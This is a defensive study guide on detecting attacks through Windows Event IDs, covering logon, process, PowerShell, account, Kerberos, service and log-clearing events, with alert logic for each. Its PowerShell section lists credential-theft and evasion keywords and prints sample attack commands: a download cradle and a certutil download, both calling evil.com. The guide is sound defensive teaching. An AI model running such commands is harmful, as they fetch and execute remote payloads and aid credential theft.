

03 - Windows Detection

1: Critical Windows Event IDs

Event ID	What It Means	Category
4624	Successful Logon	Authentication
4625	Failed Logon	Authentication
4688	Process Created	Execution
4720	User Account Created	Account Changes
4732	User Added to Admin Group	Privilege Escalation
4769	Kerberos Service Ticket	Lateral Movement
7045	Service Installed	Persistence
1102	Log Cleared	Defense Evasion
4104	PowerShell Script Block Logging	Execution

Authentication Events

4624 - Successful Logon

- ✅ User logged in successfully
- ✅ CHECK: Logon Type field

LOGON TYPES (Memorize!):

Type	Name	Meaning
2	Interactive	Physical login
3	Network	SMB, network share
4	Batch	Scheduled task
5	Service	Service startup
7	Unlock	Workstation unlock
10	RemoteInteractive	RDP login

🚨 SUSPICIOUS:

- Type 10 (RDP) at 3 AM
- Type 3 from unknown IP
- Type 2 on server (who's physically there?)

4625 - Failed Logon

❌ Login attempt failed

✅ CHECK: Failure Reason, Source IP, Account Name

FAILURE CODES:

Code	Meaning
0xC000006A	Wrong password
0xC000006D	Wrong username
0xC0000072	Account disabled
0xC0000234	Account locked

🚨 ALERT PATTERN:

- Multiple 4625 from same IP = Brute Force
- Multiple 4625 on different accounts = Password Spray
- 4625 followed by 4624 = Successful attack!

Process & Execution Events

4688 - Process Creation

✅ New process started

✅ CRITICAL: Shows command line (if enabled)

KEY FIELDS:

- New Process Name: What ran
- Creator Process: What spawned it (parent)
- Command Line: Full command with arguments

🚨 SUSPICIOUS EXAMPLES:

- powershell.exe spawned by WINWORD.EXE (Macro!)
- cmd.exe spawned by outlook.exe (Phishing!)
- certutil.exe with -urlcache (Download!)

4104 - PowerShell Script Block

✅ PowerShell code executed

✅ Shows ACTUAL script content (decoded!)

🚨 LOOK FOR:

- DownloadString
- IEX (Invoke-Expression)
- -enc or -encoded
- Invoke-Mimikatz
- New-Object Net.WebClient

Account Events

4720 - User Account Created

✅ New user account made

⚠️ SUSPICIOUS:

- Created at odd hours
- Created by non-admin
- Name mimics system (admin1, svc_backup)
- Immediately added to admin group

4732 - User Added to Privileged Group

✅ Someone added to local Administrators group

⚠️ ALWAYS INVESTIGATE:

- Who added?
- Who was added?
- When? (after hours = suspicious)
- Expected change? (check with IT)

Kerberos Event

4769 - Kerberos Service Ticket (TGS)

✅ Service ticket requested

⚠️ KERBEROASTING DETECTION:

- Many 4769 events
- From same user
- Requesting tickets for multiple services
- Encryption type: 0x17 (RC4) = weak, targeted!

Persistence Event

7045 - Service Installed

✅ New Windows service created

⚠️ SUSPICIOUS:

- Service from Temp folder
- Service with random name
- Service running as SYSTEM
- Service pointing to script/PowerShell

Anti-Forensics Event

1102 - Audit Log Cleared

✅ Someone cleared Windows Event Logs

🚨 ALWAYS P1 ALERT!

- Attackers clear logs to hide activity
- Check: Who cleared? When?
- Immediately investigate what happened BEFORE clearing

short summary

AUTHENTICATION:

4624 = Success ✅

4625 = Failed ❌

EXECUTION:

4688 = Process started

4104 = PowerShell ran

ACCOUNT CHANGES:

4720 = User created

4732 = Added to admin group

LATERAL MOVEMENT:

4769 = Kerberos ticket (Kerberoasting)

PERSISTENCE:

7045 = Service installed

ANTI-FORENSICS:

1102 = Logs cleared 🚨

2: Detection Patterns

1) Brute Force Detection

Same source → Same account → Many failed → Then success

Timeline:

10:01:00 - 4625 (Failed) - User: admin - IP: 45.142.212.61

10:01:01 - 4625 (Failed) - User: admin - IP: 45.142.212.61

10:01:02 - 4625 (Failed) - User: admin - IP: 45.142.212.61

```
... (100+ attempts)
10:05:30 - 4624 (Success) - User: admin - IP: 45.142.212.61 🚨
```

****Detection Logic**

IF:

- Event ID = 4625
- Same Source IP
- Same Target Account
- Count > 10 in 5 minutes
- Followed by 4624 (optional but critical)

THEN:

- ALERT: Brute Force Attack

Brute force shows as multiple 4625 events targeting the same account from the same IP. If followed by 4624, the attack succeeded.

2) Password Spraying Detection

Same source → DIFFERENT accounts → Same password tried

Timeline:

```
10:01:00 - 4625 (Failed) - User: john.doe    - IP: 45.142.212.61
10:01:01 - 4625 (Failed) - User: jane.smith  - IP: 45.142.212.61
10:01:02 - 4625 (Failed) - User: mike.jones - IP: 45.142.212.61
10:01:03 - 4625 (Failed) - User: sarah.lee   - IP: 45.142.212.61
... (many different accounts)
```

Detection Logic:

IF:

- Event ID = 4625
- Same Source IP
- DIFFERENT Target Accounts
- Count > 5 accounts in 10 minutes

THEN:

- ALERT: Password Spraying

3) Suspicious PowerShell Detection

Event ID: 4104 (Script Block Logging)

red alert keywords:

DOWNLOAD:

- DownloadString
- DownloadFile
- Net.WebClient
- Invoke-WebRequest
- wget
- curl

EXECUTION:

- IEX (Invoke-Expression)
- Invoke-Command
- & (call operator with variable)

ENCODING:

- -enc
- -encoded
- -e
- FromBase64String
- [Convert]::

RECON:

- Get-Process
- Get-Service
- whoami
- net user
- net group

CREDENTIAL THEFT:

- Invoke-Mimikatz
- sekurlsa
- Get-Credential
- LSASS

EVASION:

- -ExecutionPolicy Bypass
- -NoProfile
- -WindowStyle Hidden
- -NonInteractive

Common Malicious Patterns:

Pattern 1: Download Cradle 🚨

```
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/mal.ps1')
```

Pattern 2: Encoded Command 🚨

```
powershell.exe -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBi...
```

Pattern 3: Hidden Execution 🚨

```
powershell.exe -w hidden -ep bypass -c "malicious code"
```

Pattern 4: Living Off The Land 🚨

```
powershell.exe -c "certutil -urlcache -split -f http://evil.com/mal.exe"
```

Detection Logic:

IF Event ID = 4104

AND ScriptBlockText contains:

- "DownloadString" OR
- "IEX" OR
- "-enc" OR
- "FromBase64String"

THEN:

- ALERT: Suspicious PowerShell

4) New Admin Account Creation

Attack Pattern:

Step 1: 4720 - User account created

Step 2: 4732 - Added to Administrators group

Timeline:

02:30:00 - 4720 - Account: svc_backup - Created by: compromised_admin

02:30:05 - 4732 - Account: svc_backup - Added to: Administrators

Detection Logic:

IF:

- 4720 followed by 4732
- Within 5 minutes
- Same target account
- Off-hours OR unexpected creator

THEN:

- ALERT: Suspicious Admin Account Creation

5) Log Clearing Detection

Event ID: 1102

🚨 CRITICAL ALERT - ALWAYS INVESTIGATE!

1102 = Security log cleared

Fields to check:

- Subject Account: WHO cleared it?
- Time: WHEN cleared?

Detection Logic:

IF:

- Event ID = 1102

THEN:

- ALERT: P1 - Log Cleared
- Immediately check what happened BEFORE clearing
- Assume attacker hiding tracks